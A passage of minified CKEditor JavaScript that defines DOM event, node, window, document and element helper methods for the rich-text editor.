form:1,header:1,hgroup:1,main:1,menu:1,nav:1,ol:1,section:1,table:1,td:1,th:1,tr:1,ul:1,video:1},$cdata:{script:1,style:1},$editable:{address:1,article:1,aside:1,blockquote:1,body:1,details:1,div:1,fieldset:1,figcaption:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,main:1,nav:1,p:1,pre:1,section:1},$empty:{area:1,base:1,basefont:1,br:1,col:1,command:1,dialog:1,embed:1,hr:1,img:1,input:1,isindex:1,keygen:1,link:1,meta:1,param:1,source:1,track:1,wbr:1},$inline:b,$list:{dl:1,ol:1,
ul:1},$listItem:{dd:1,dt:1,li:1},$nonBodyContent:a({body:1,head:1,html:1},f.head),$nonEditable:{applet:1,audio:1,button:1,embed:1,iframe:1,map:1,object:1,option:1,param:1,script:1,textarea:1,video:1},$object:{applet:1,audio:1,button:1,hr:1,iframe:1,img:1,input:1,object:1,select:1,table:1,textarea:1,video:1},$removeEmpty:{abbr:1,acronym:1,b:1,bdi:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,mark:1,meter:1,output:1,q:1,ruby:1,s:1,samp:1,small:1,span:1,strike:1,strong:1,
sub:1,sup:1,time:1,tt:1,u:1,"var":1},$tabIndex:{a:1,area:1,button:1,input:1,object:1,select:1,textarea:1},$tableContent:{caption:1,col:1,colgroup:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1},$transparent:{a:1,audio:1,canvas:1,del:1,ins:1,map:1,noscript:1,object:1,video:1},$intermediate:{caption:1,colgroup:1,dd:1,dt:1,figcaption:1,legend:1,li:1,optgroup:1,option:1,rp:1,rt:1,summary:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1}});return f}();CKEDITOR.dom.event=function(a){this.$=a};
CKEDITOR.dom.event.prototype={getKey:function(){return this.$.keyCode||this.$.which},getKeystroke:function(){var a=this.getKey();if(this.$.ctrlKey||this.$.metaKey)a=a+CKEDITOR.CTRL;this.$.shiftKey&&(a=a+CKEDITOR.SHIFT);this.$.altKey&&(a=a+CKEDITOR.ALT);return a},preventDefault:function(a){var f=this.$;f.preventDefault?f.preventDefault():f.returnValue=false;a&&this.stopPropagation()},stopPropagation:function(){var a=this.$;a.stopPropagation?a.stopPropagation():a.cancelBubble=true},getTarget:function(){var a=
this.$.target||this.$.srcElement;return a?new CKEDITOR.dom.node(a):null},getPhase:function(){return this.$.eventPhase||2},getPageOffset:function(){var a=this.getTarget().getDocument().$;return{x:this.$.pageX||this.$.clientX+(a.documentElement.scrollLeft||a.body.scrollLeft),y:this.$.pageY||this.$.clientY+(a.documentElement.scrollTop||a.body.scrollTop)}}};CKEDITOR.CTRL=1114112;CKEDITOR.SHIFT=2228224;CKEDITOR.ALT=4456448;CKEDITOR.EVENT_PHASE_CAPTURING=1;CKEDITOR.EVENT_PHASE_AT_TARGET=2;
CKEDITOR.EVENT_PHASE_BUBBLING=3;CKEDITOR.dom.domObject=function(a){if(a)this.$=a};
CKEDITOR.dom.domObject.prototype=function(){var a=function(a,b){return function(c){typeof CKEDITOR!="undefined"&&a.fire(b,new CKEDITOR.dom.event(c))}};return{getPrivate:function(){var a;if(!(a=this.getCustomData("_")))this.setCustomData("_",a={});return a},on:function(f){var b=this.getCustomData("_cke_nativeListeners");if(!b){b={};this.setCustomData("_cke_nativeListeners",b)}if(!b[f]){b=b[f]=a(this,f);this.$.addEventListener?this.$.addEventListener(f,b,!!CKEDITOR.event.useCapture):this.$.attachEvent&&
this.$.attachEvent("on"+f,b)}return CKEDITOR.event.prototype.on.apply(this,arguments)},removeListener:function(a){CKEDITOR.event.prototype.removeListener.apply(this,arguments);if(!this.hasListeners(a)){var b=this.getCustomData("_cke_nativeListeners"),c=b&&b[a];if(c){this.$.removeEventListener?this.$.removeEventListener(a,c,false):this.$.detachEvent&&this.$.detachEvent("on"+a,c);delete b[a]}}},removeAllListeners:function(){var a=this.getCustomData("_cke_nativeListeners"),b;for(b in a){var c=a[b];this.$.detachEvent?
this.$.detachEvent("on"+b,c):this.$.removeEventListener&&this.$.removeEventListener(b,c,false);delete a[b]}CKEDITOR.event.prototype.removeAllListeners.call(this)}}}();
(function(a){var f={};CKEDITOR.on("reset",function(){f={}});a.equals=function(a){try{return a&&a.$===this.$}catch(c){return false}};a.setCustomData=function(a,c){var e=this.getUniqueId();(f[e]||(f[e]={}))[a]=c;return this};a.getCustomData=function(a){var c=this.$["data-cke-expando"];return(c=c&&f[c])&&a in c?c[a]:null};a.removeCustomData=function(a){var c=this.$["data-cke-expando"],c=c&&f[c],e,d;if(c){e=c[a];d=a in c;delete c[a]}return d?e:null};a.clearCustomData=function(){this.removeAllListeners();
var a=this.$["data-cke-expando"];a&&delete f[a]};a.getUniqueId=function(){return this.$["data-cke-expando"]||(this.$["data-cke-expando"]=CKEDITOR.tools.getNextNumber())};CKEDITOR.event.implementOn(a)})(CKEDITOR.dom.domObject.prototype);
CKEDITOR.dom.node=function(a){return a?new CKEDITOR.dom[a.nodeType==CKEDITOR.NODE_DOCUMENT?"document":a.nodeType==CKEDITOR.NODE_ELEMENT?"element":a.nodeType==CKEDITOR.NODE_TEXT?"text":a.nodeType==CKEDITOR.NODE_COMMENT?"comment":a.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT?"documentFragment":"domObject"](a):this};CKEDITOR.dom.node.prototype=new CKEDITOR.dom.domObject;CKEDITOR.NODE_ELEMENT=1;CKEDITOR.NODE_DOCUMENT=9;CKEDITOR.NODE_TEXT=3;CKEDITOR.NODE_COMMENT=8;CKEDITOR.NODE_DOCUMENT_FRAGMENT=11;
CKEDITOR.POSITION_IDENTICAL=0;CKEDITOR.POSITION_DISCONNECTED=1;CKEDITOR.POSITION_FOLLOWING=2;CKEDITOR.POSITION_PRECEDING=4;CKEDITOR.POSITION_IS_CONTAINED=8;CKEDITOR.POSITION_CONTAINS=16;
CKEDITOR.tools.extend(CKEDITOR.dom.node.prototype,{appendTo:function(a,f){a.append(this,f);return a},clone:function(a,f){var b=this.$.cloneNode(a),c=function(e){e["data-cke-expando"]&&(e["data-cke-expando"]=false);if(e.nodeType==CKEDITOR.NODE_ELEMENT){f||e.removeAttribute("id",false);if(a)for(var e=e.childNodes,d=0;d<e.length;d++)c(e[d])}};c(b);return new CKEDITOR.dom.node(b)},hasPrevious:function(){return!!this.$.previousSibling},hasNext:function(){return!!this.$.nextSibling},insertAfter:function(a){a.$.parentNode.insertBefore(this.$,
a.$.nextSibling);return a},insertBefore:function(a){a.$.parentNode.insertBefore(this.$,a.$);return a},insertBeforeMe:function(a){this.$.parentNode.insertBefore(a.$,this.$);return a},getAddress:function(a){for(var f=[],b=this.getDocument().$.documentElement,c=this.$;c&&c!=b;){var e=c.parentNode;e&&f.unshift(this.getIndex.call({$:c},a));c=e}return f},getDocument:function(){return new CKEDITOR.dom.document(this.$.ownerDocument||this.$.parentNode.ownerDocument)},getIndex:function(a){function f(a,e){var b=
e?a.nextSibling:a.previousSibling;return!b||b.nodeType!=CKEDITOR.NODE_TEXT?null:b.nodeValue?b:f(b,e)}var b=this.$,c=-1,e;if(!this.$.parentNode||a&&b.nodeType==CKEDITOR.NODE_TEXT&&!b.nodeValue&&!f(b)&&!f(b,true))return-1;do if(!a||!(b!=this.$&&b.nodeType==CKEDITOR.NODE_TEXT&&(e||!b.nodeValue))){c++;e=b.nodeType==CKEDITOR.NODE_TEXT}while(b=b.previousSibling);return c},getNextSourceNode:function(a,f,b){if(b&&!b.call)var c=b,b=function(a){return!a.equals(c)};var a=!a&&this.getFirst&&this.getFirst(),e;
if(!a){if(this.type==CKEDITOR.NODE_ELEMENT&&b&&b(this,true)===false)return null;a=this.getNext()}for(;!a&&(e=(e||this).getParent());){if(b&&b(e,true)===false)return null;a=e.getNext()}return!a||b&&b(a)===false?null:f&&f!=a.type?a.getNextSourceNode(false,f,b):a},getPreviousSourceNode:function(a,f,b){if(b&&!b.call)var c=b,b=function(a){return!a.equals(c)};var a=!a&&this.getLast&&this.getLast(),e;if(!a){if(this.type==CKEDITOR.NODE_ELEMENT&&b&&b(this,true)===false)return null;a=this.getPrevious()}for(;!a&&
(e=(e||this).getParent());){if(b&&b(e,true)===false)return null;a=e.getPrevious()}return!a||b&&b(a)===false?null:f&&a.type!=f?a.getPreviousSourceNode(false,f,b):a},getPrevious:function(a){var f=this.$,b;do b=(f=f.previousSibling)&&f.nodeType!=10&&new CKEDITOR.dom.node(f);while(b&&a&&!a(b));return b},getNext:function(a){var f=this.$,b;do b=(f=f.nextSibling)&&new CKEDITOR.dom.node(f);while(b&&a&&!a(b));return b},getParent:function(a){var f=this.$.parentNode;return f&&(f.nodeType==CKEDITOR.NODE_ELEMENT||
a&&f.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)?new CKEDITOR.dom.node(f):null},getParents:function(a){var f=this,b=[];do b[a?"push":"unshift"](f);while(f=f.getParent());return b},getCommonAncestor:function(a){if(a.equals(this))return this;if(a.contains&&a.contains(this))return a;var f=this.contains?this:this.getParent();do if(f.contains(a))return f;while(f=f.getParent());return null},getPosition:function(a){var f=this.$,b=a.$;if(f.compareDocumentPosition)return f.compareDocumentPosition(b);if(f==
b)return CKEDITOR.POSITION_IDENTICAL;if(this.type==CKEDITOR.NODE_ELEMENT&&a.type==CKEDITOR.NODE_ELEMENT){if(f.contains){if(f.contains(b))return CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING;if(b.contains(f))return CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING}if("sourceIndex"in f)return f.sourceIndex<0||b.sourceIndex<0?CKEDITOR.POSITION_DISCONNECTED:f.sourceIndex<b.sourceIndex?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING}for(var f=this.getAddress(),a=a.getAddress(),
b=Math.min(f.length,a.length),c=0;c<=b-1;c++)if(f[c]!=a[c]){if(c<b)return f[c]<a[c]?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING;break}return f.length<a.length?CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING},getAscendant:function(a,f){var b=this.$,c,e;if(!f)b=b.parentNode;if(typeof a=="function"){e=true;c=a}else{e=false;c=function(e){e=typeof e.nodeName=="string"?e.nodeName.toLowerCase():"";return typeof a=="string"?e==
a:e in a}}for(;b;){if(c(e?new CKEDITOR.dom.node(b):b))return new CKEDITOR.dom.node(b);try{b=b.parentNode}catch(d){b=null}}return null},hasAscendant:function(a,f){var b=this.$;if(!f)b=b.parentNode;for(;b;){if(b.nodeName&&b.nodeName.toLowerCase()==a)return true;b=b.parentNode}return false},move:function(a,f){a.append(this.remove(),f)},remove:function(a){var f=this.$,b=f.parentNode;if(b){if(a)for(;a=f.firstChild;)b.insertBefore(f.removeChild(a),f);b.removeChild(f)}return this},replace:function(a){this.insertBefore(a);
a.remove()},trim:function(){this.ltrim();this.rtrim()},ltrim:function(){for(var a;this.getFirst&&(a=this.getFirst());){if(a.type==CKEDITOR.NODE_TEXT){var f=CKEDITOR.tools.ltrim(a.getText()),b=a.getLength();if(f){if(f.length<b){a.split(b-f.length);this.$.removeChild(this.$.firstChild)}}else{a.remove();continue}}break}},rtrim:function(){for(var a;this.getLast&&(a=this.getLast());){if(a.type==CKEDITOR.NODE_TEXT){var f=CKEDITOR.tools.rtrim(a.getText()),b=a.getLength();if(f){if(f.length<b){a.split(f.length);
this.$.lastChild.parentNode.removeChild(this.$.lastChild)}}else{a.remove();continue}}break}if(CKEDITOR.env.needsBrFiller)(a=this.$.lastChild)&&(a.type==1&&a.nodeName.toLowerCase()=="br")&&a.parentNode.removeChild(a)},isReadOnly:function(){var a=this;this.type!=CKEDITOR.NODE_ELEMENT&&(a=this.getParent());if(a&&typeof a.$.isContentEditable!="undefined")return!(a.$.isContentEditable||a.data("cke-editable"));for(;a;){if(a.data("cke-editable"))break;if(a.getAttribute("contentEditable")=="false")return true;
if(a.getAttribute("contentEditable")=="true")break;a=a.getParent()}return!a}});CKEDITOR.dom.window=function(a){CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.window.prototype=new CKEDITOR.dom.domObject;
CKEDITOR.tools.extend(CKEDITOR.dom.window.prototype,{focus:function(){this.$.focus()},getViewPaneSize:function(){var a=this.$.document,f=a.compatMode=="CSS1Compat";return{width:(f?a.documentElement.clientWidth:a.body.clientWidth)||0,height:(f?a.documentElement.clientHeight:a.body.clientHeight)||0}},getScrollPosition:function(){var a=this.$;if("pageXOffset"in a)return{x:a.pageXOffset||0,y:a.pageYOffset||0};a=a.document;return{x:a.documentElement.scrollLeft||a.body.scrollLeft||0,y:a.documentElement.scrollTop||
a.body.scrollTop||0}},getFrame:function(){var a=this.$.frameElement;return a?new CKEDITOR.dom.element.get(a):null}});CKEDITOR.dom.document=function(a){CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.document.prototype=new CKEDITOR.dom.domObject;
CKEDITOR.tools.extend(CKEDITOR.dom.document.prototype,{type:CKEDITOR.NODE_DOCUMENT,appendStyleSheet:function(a){if(this.$.createStyleSheet)this.$.createStyleSheet(a);else{var f=new CKEDITOR.dom.element("link");f.setAttributes({rel:"stylesheet",type:"text/css",href:a});this.getHead().append(f)}},appendStyleText:function(a){if(this.$.createStyleSheet){var f=this.$.createStyleSheet("");f.cssText=a}else{var b=new CKEDITOR.dom.element("style",this);b.append(new CKEDITOR.dom.text(a,this));this.getHead().append(b)}return f||
b.$.sheet},createElement:function(a,f){var b=new CKEDITOR.dom.element(a,this);if(f){f.attributes&&b.setAttributes(f.attributes);f.styles&&b.setStyles(f.styles)}return b},createText:function(a){return new CKEDITOR.dom.text(a,this)},focus:function(){this.getWindow().focus()},getActive:function(){var a;try{a=this.$.activeElement}catch(f){return null}return new CKEDITOR.dom.element(a)},getById:function(a){return(a=this.$.getElementById(a))?new CKEDITOR.dom.element(a):null},getByAddress:function(a,f){for(var b=
this.$.documentElement,c=0;b&&c<a.length;c++){var e=a[c];if(f)for(var d=-1,h=0;h<b.childNodes.length;h++){var k=b.childNodes[h];if(!(f===true&&k.nodeType==3&&k.previousSibling&&k.previousSibling.nodeType==3)){d++;if(d==e){b=k;break}}}else b=b.childNodes[e]}return b?new CKEDITOR.dom.node(b):null},getElementsByTag:function(a,f){!(CKEDITOR.env.ie&&document.documentMode<=8)&&f&&(a=f+":"+a);return new CKEDITOR.dom.nodeList(this.$.getElementsByTagName(a))},getHead:function(){var a=this.$.getElementsByTagName("head")[0];
return a=a?new CKEDITOR.dom.element(a):this.getDocumentElement().append(new CKEDITOR.dom.element("head"),true)},getBody:function(){return new CKEDITOR.dom.element(this.$.body)},getDocumentElement:function(){return new CKEDITOR.dom.element(this.$.documentElement)},getWindow:function(){return new CKEDITOR.dom.window(this.$.parentWindow||this.$.defaultView)},write:function(a){this.$.open("text/html","replace");CKEDITOR.env.ie&&(a=a.replace(/(?:^\s*<!DOCTYPE[^>]*?>)|^/i,'$&\n<script data-cke-temp="1">('+
CKEDITOR.tools.fixDomain+")();<\/script>"));this.$.write(a);this.$.close()},find:function(a){return new CKEDITOR.dom.nodeList(this.$.querySelectorAll(a))},findOne:function(a){return(a=this.$.querySelector(a))?new CKEDITOR.dom.element(a):null},_getHtml5ShivFrag:function(){var a=this.getCustomData("html5ShivFrag");if(!a){a=this.$.createDocumentFragment();CKEDITOR.tools.enableHtml5Elements(a,true);this.setCustomData("html5ShivFrag",a)}return a}});CKEDITOR.dom.nodeList=function(a){this.$=a};
CKEDITOR.dom.nodeList.prototype={count:function(){return this.$.length},getItem:function(a){if(a<0||a>=this.$.length)return null;return(a=this.$[a])?new CKEDITOR.dom.node(a):null}};CKEDITOR.dom.element=function(a,f){typeof a=="string"&&(a=(f?f.$:document).createElement(a));CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.element.get=function(a){return(a=typeof a=="string"?document.getElementById(a)||document.getElementsByName(a)[0]:a)&&(a.$?a:new CKEDITOR.dom.element(a))};
CKEDITOR.dom.element.prototype=new CKEDITOR.dom.node;CKEDITOR.dom.element.createFromHtml=function(a,f){var b=new CKEDITOR.dom.element("div",f);b.setHtml(a);return b.getFirst().remove()};
CKEDITOR.dom.element.setMarker=function(a,f,b,c){var e=f.getCustomData("list_marker_id")||f.setCustomData("list_marker_id",CKEDITOR.tools.getNextNumber()).getCustomData("list_marker_id"),d=f.getCustomData("list_marker_names")||f.setCustomData("list_marker_names",{}).getCustomData("list_marker_names");a[e]=f;d[b]=1;return f.setCustomData(b,c)};CKEDITOR.dom.element.clearAllMarkers=function(a){for(var f in a)CKEDITOR.dom.element.clearMarkers(a,a[f],1)};
CKEDITOR.dom.element.clearMarkers=function(a,f,b){var c=f.getCustomData("list_marker_names"),e=f.getCustomData("list_marker_id"),d;for(d in c)f.removeCustomData(d);f.removeCustomData("list_marker_names");if(b){f.removeCustomData("list_marker_id");delete a[e]}};
(function(){function a(a){var d=true;if(!a.$.id){a.$.id="cke_tmp_"+CKEDITOR.tools.getNextNumber();d=false}return function(){d||a.removeAttribute("id")}}function f(a,d){return"#"+a.$.id+" "+d.split(/,\s*/).join(", #"+a.$.id+" ")}function b(a){for(var d=0,b=0,f=c[a].length;b<f;b++)d=d+(parseInt(this.getComputedStyle(c[a][b])||0,10)||0);return d}CKEDITOR.tools.extend(CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_ELEMENT,addClass:function(a){var d=this.$.className;d&&(RegExp("(?:^|\\s)"+a+"(?:\\s|$)",
"").test(d)||(d=d+(" "+a)));this.$.className=d||a;return this},removeClass:function(a){var d=this.getAttribute("class");if(d){a=RegExp("(?:^|\\s+)"+a+"(?=\\s|$)","i");if(a.test(d))(d=d.replace(a,"").replace(/^\s+/,""))?this.setAttribute("class",d):this.removeAttribute("class")}return this},hasClass:function(a){return RegExp("(?:^|\\s+)"+a+"(?=\\s|$)","").test(this.getAttribute("class"))},append:function(a,d){typeof a=="string"&&(a=this.getDocument().createElement(a));d?this.$.insertBefore(a.$,this.$.firstChild):
this.$.appendChild(a.$);return a},appendHtml:function(a){if(this.$.childNodes.length){var d=new CKEDITOR.dom.element("div",this.getDocument());d.setHtml(a);d.moveChildren(this)}else this.setHtml(a)},appendText:function(a){this.$.text!=null?this.$.text=this.$.text+a:this.append(new CKEDITOR.dom.text(a))},appendBogus:function(a){if(a||CKEDITOR.env.needsBrFiller){for(a=this.getLast();a&&a.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.rtrim(a.getText());)a=a.getPrevious();if(!a||!a.is||!a.is("br")){a=this.getDocument().createElement("br");
CKEDITOR.env.gecko&&a.setAttribute("type","_moz");this.append(a)}}},breakParent:function(a){var d=new CKEDITOR.dom.range(this.getDocument());d.setStartAfter(this);d.setEndAfter(a);a=d.extractContents();d.insertNode(this.remove());a.insertAfterNode(this)},contains:CKEDITOR.env.ie||CKEDITOR.env.webkit?function(a){var d=this.$;return a.type!=CKEDITOR.NODE_ELEMENT?d.contains(a.getParent().$):d!=a.$&&d.contains(a.$)}:function(a){return!!(this.$.compareDocumentPosition(a.$)&16)},focus:function(){function a(){try{this.$.focus()}catch(e){}}
return function(d){d?CKEDITOR.tools.setTimeout(a,100,this):a.call(this)}}(),getHtml:function(){var a=this.$.innerHTML;return CKEDITOR.env.ie?a.replace(/<\?[^>]*>/g,""):a},getOuterHtml:function(){if(this.$.outerHTML)return this.$.outerHTML.replace(/<\?[^>]*>/,"");var a=this.$.ownerDocument.createElement("div");a.appendChild(this.$.cloneNode(true));return a.innerHTML},getClientRect:function(){var a=CKEDITOR.tools.extend({},this.$.getBoundingClientRect());!a.width&&(a.width=a.right-a.left);!a.height&&
(a.height=a.bottom-a.top);return a},setHtml:CKEDITOR.env.ie&&CKEDITOR.env.version<9?function(a){try{var d=this.$;if(this.getParent())return d.innerHTML=a;var b=this.getDocument()._getHtml5ShivFrag();b.appendChild(d);d.innerHTML=a;b.removeChild(d);return a}catch(c){this.$.innerHTML="";d=new CKEDITOR.dom.element("body",this.getDocument());d.$.innerHTML=a;for(d=d.getChildren();d.count();)this.append(d.getItem(0));return a}}:function(a){return this.$.innerHTML=a},setText:function(){var a=document.createElement("p");
a.innerHTML="x";a=a.textContent;return function(d){this.$[a?"textContent":"innerText"]=d}}(),getAttribute:function(){var a=function(a){return this.$.getAttribute(a,2)};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){switch(a){case "class":a="className";break;case "http-equiv":a="httpEquiv";break;case "name":return this.$.name;case "tabindex":a=this.$.getAttribute(a,2);a!==0&&this.$.tabIndex===0&&(a=null);return a;case "checked":a=this.$.attributes.getNamedItem(a);
return(a.specified?a.nodeValue:this.$.checked)?"checked":null;case "hspace":case "value":return this.$[a];case "style":return this.$.style.cssText;case "contenteditable":case "contentEditable":return this.$.attributes.getNamedItem("contentEditable").specified?this.$.getAttribute("contentEditable"):null}return this.$.getAttribute(a,2)}:a}(),getChildren:function(){return new CKEDITOR.dom.nodeList(this.$.childNodes)},getComputedStyle:CKEDITOR.env.ie?function(a){return this.$.currentStyle[CKEDITOR.tools.cssStyleToDomStyle(a)]}:
function(a){var d=this.getWindow().$.getComputedStyle(this.$,null);return d?d.getPropertyValue(a):""},getDtd:function(){var a=CKEDITOR.dtd[this.getName()];this.getDtd=function(){return a};return a},getElementsByTag:CKEDITOR.dom.document.prototype.getElementsByTag,getTabIndex:CKEDITOR.env.ie?function(){var a=this.$.tabIndex;a===0&&(!CKEDITOR.dtd.$tabIndex[this.getName()]&&parseInt(this.getAttribute("tabindex"),10)!==0)&&(a=-1);return a}:CKEDITOR.env.webkit?function(){var a=this.$.tabIndex;if(a===void 0){a=
parseInt(this.getAttribute("tabindex"),10);isNaN(a)&&(a=-1)}return a}:function(){return this.$.tabIndex},getText:function(){return this.$.textContent||this.$.innerText||""},getWindow:function(){return this.getDocument().getWindow()},getId:function(){return this.$.id||null},getNameAtt:function(){return this.$.name||null},getName:function(){var a=this.$.nodeName.toLowerCase();if(CKEDITOR.env.ie&&document.documentMode<=8){var d=this.$.scopeName;d!="HTML"&&(a=d.toLowerCase()+":"+a)}this.getName=function(){return a};
return this.getName()},getValue:function(){return this.$.value},getFirst:function(a){var d=this.$.firstChild;(d=d&&new CKEDITOR.dom.node(d))&&(a&&!a(d))&&(d=d.getNext(a));return d},getLast:function(a){var d=this.$.lastChild;(d=d&&new CKEDITOR.dom.node(d))&&(a&&!a(d))&&(d=d.getPrevious(a));return d},getStyle:function(a){return this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]},is:function(){var a=this.getName();if(typeof arguments[0]=="object")return!!arguments[0][a];for(var d=0;d<arguments.length;d++)if(arguments[d]==
a)return true;return false},isEditable:function(a){var d=this.getName();if(this.isReadOnly()||this.getComputedStyle("display")=="none"||this.getComputedStyle("visibility")=="hidden"||CKEDITOR.dtd.$nonEditable[d]||CKEDITOR.dtd.$empty[d]||this.is("a")&&(this.data("cke-saved-name")||this.hasAttribute("name"))&&!this.getChildCount())return false;if(a!==false){a=CKEDITOR.dtd[d]||CKEDITOR.dtd.span;return!(!a||!a["#"])}return true},isIdentical:function(a){var d=this.clone(0,1),a=a.clone(0,1);d.removeAttributes(["_moz_dirty",
"data-cke-expando","data-cke-saved-href","data-cke-saved-name"]);a.removeAttributes(["_moz_dirty","data-cke-expando","data-cke-saved-href","data-cke-saved-name"]);if(d.$.isEqualNode){d.$.style.cssText=CKEDITOR.tools.normalizeCssText(d.$.style.cssText);a.$.style.cssText=CKEDITOR.tools.normalizeCssText(a.$.style.cssText);return d.$.isEqualNode(a.$)}d=d.getOuterHtml();a=a.getOuterHtml();if(CKEDITOR.env.ie&&CKEDITOR.env.version<9&&this.is("a")){var b=this.getParent();if(b.type==CKEDITOR.NODE_ELEMENT){b=
b.clone();b.setHtml(d);d=b.getHtml();b.setHtml(a);a=b.getHtml()}}return d==a},isVisible:function(){var a=(this.$.offsetHeight||this.$.offsetWidth)&&this.getComputedStyle("visibility")!="hidden",d,b;if(a&&CKEDITOR.env.webkit){d=this.getWindow();if(!d.equals(CKEDITOR.document.getWindow())&&(b=d.$.frameElement))a=(new CKEDITOR.dom.element(b)).isVisible()}return!!a},isEmptyInlineRemoveable:function(){if(!CKEDITOR.dtd.$removeEmpty[this.getName()])return false;for(var a=this.getChildren(),d=0,b=a.count();d<
b;d++){var c=a.getItem(d);if(!(c.type==CKEDITOR.NODE_ELEMENT&&c.data("cke-bookmark"))&&(c.type==CKEDITOR.NODE_ELEMENT&&!c.isEmptyInlineRemoveable()||c.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(c.getText())))return false}return true},hasAttributes:CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(){for(var a=this.$.attributes,d=0;d<a.length;d++){var b=a[d];switch(b.nodeName){case "class":if(this.getAttribute("class"))return true;case "data-cke-expando":continue;default:if(b.specified)return true}}return false}:
function(){var a=this.$.attributes,d=a.length,b={"data-cke-expando":1,_moz_dirty:1};return d>0&&(d>2||!b[a[0].nodeName]||d==2&&!b[a[1].nodeName])},hasAttribute:function(){function a(d){var e=this.$.attributes.getNamedItem(d);if(this.getName()=="input")switch(d){case "class":return this.$.className.length>0;case "checked":return!!this.$.checked;case "value":d=this.getAttribute("type");return d=="checkbox"||d=="radio"?this.$.value!="on":!!this.$.value}return!e?false:e.specified}return CKEDITOR.env.ie?
CKEDITOR.env.version<8?function(d){return d=="name"?!!this.$.name:a.call(this,d)}:a:function(a){return!!this.$.attributes.getNamedItem(a)}}(),hide:function(){this.setStyle("display","none")},moveChildren:function(a,d){var b=this.$,a=a.$;if(b!=a){var c;if(d)for(;c=b.lastChild;)a.insertBefore(b.removeChild(c),a.firstChild);else for(;c=b.firstChild;)a.appendChild(b.removeChild(c))}},mergeSiblings:function(){function a(d,b,e){if(b&&b.type==CKEDITOR.NODE_ELEMENT){for(var c=[];b.data("cke-bookmark")||b.isEmptyInlineRemoveable();){c.push(b);
b=e?b.getNext():b.getPrevious();if(!b||b.type!=CKEDITOR.NODE_ELEMENT)return}if(d.isIdentical(b)){for(var f=e?d.getLast():d.getFirst();c.length;)c.shift().move(d,!e);b.moveChildren(d,!e);b.remove();f&&f.type==CKEDITOR.NODE_ELEMENT&&f.mergeSiblings()}}}return function(d){if(d===false||CKEDITOR.dtd.$removeEmpty[this.getName()]||this.is("a")){a(this,this.getNext(),true);a(this,this.getPrevious())}}}(),show:function(){this.setStyles({display:"",visibility:""})},setAttribute:function(){var a=function(a,
b){this.$.setAttribute(a,b);return this};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(d,b){d=="class"?this.$.className=b:d=="style"?this.$.style.cssText=b:d=="tabindex"?this.$.tabIndex=b:d=="checked"?this.$.checked=b:d=="contenteditable"?a.call(this,"contentEditable",b):a.apply(this,arguments);return this}:CKEDITOR.env.ie8Compat&&CKEDITOR.env.secure?function(d,b){if(d=="src"&&b.match(/^http:\/\//))try{a.apply(this,arguments)}catch(c){}else a.apply(this,arguments);
return this}:a}(),setAttributes:function(a){for(var d in a)this.setAttribute(d,a[d]);return this},setValue:function(a){this.$.value=a;return this},removeAttribute:function(){var a=function(a){this.$.removeAttribute(a)};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){a=="class"?a="className":a=="tabindex"?a="tabIndex":a=="contenteditable"&&(a="contentEditable");this.$.removeAttribute(a)}:a}(),removeAttributes:function(a){if(CKEDITOR.tools.isArray(a))for(var b=0;b<
a.length;b++)this.removeAttribute(a[b]);else for(b in a)a.hasOwnProperty(b)&&this.removeAttribute(b)},removeStyle:function(a){var b=this.$.style;if(!b.removeProperty&&(a=="border"||a=="margin"||a=="padding")){var c=["top","left","right","bottom"],f;a=="border"&&(f=["color","style","width"]);for(var b=[],j=0;j<c.length;j++)if(f)for(var g=0;g<f.length;g++)b.push([a,c[j],f[g]].join("-"));else b.push([a,c[j]].join("-"));for(a=0;a<b.length;a++)this.removeStyle(b[a])}else{b.removeProperty?b.removeProperty(a):
b.removeAttribute(CKEDITOR.tools.cssStyleToDomStyle(a));this.$.style.cssText||this.removeAttribute("style")}},setStyle:function(a,b){this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]=b;return this},setStyles:function(a){for(var b in a)this.setStyle(b,a[b]);return this},setOpacity:function(a){if(CKEDITOR.env.ie&&CKEDITOR.env.version<9){a=Math.round(a*100);this.setStyle("filter",a>=100?"":"progid:DXImageTransform.Microsoft.Alpha(opacity="+a+")")}else this.setStyle("opacity",a)},unselectable:function(){this.setStyles(CKEDITOR.tools.cssVendorPrefix("user-select",
"none"));if(CKEDITOR.env.ie){this.setAttribute("unselectable","on");for(var a,b=this.getElementsByTag("*"),c=0,f=b.count();c<f;c++){a=b.getItem(c);a.setAttribute("unselectable","on")}}},getPositionedAncestor:function(){for(var a=this;a.getName()!="html";){if(a.getComputedStyle("position")!="static")return a;a=a.getParent()}return null},getDocumentPosition:function(a){var b=0,c=0,f=this.getDocument(),j=f.getBody(),g=CKEDITOR.env.quirks;if(document.documentElement.getBoundingClientRect){var m=this.$.getBoundingClientRect(),
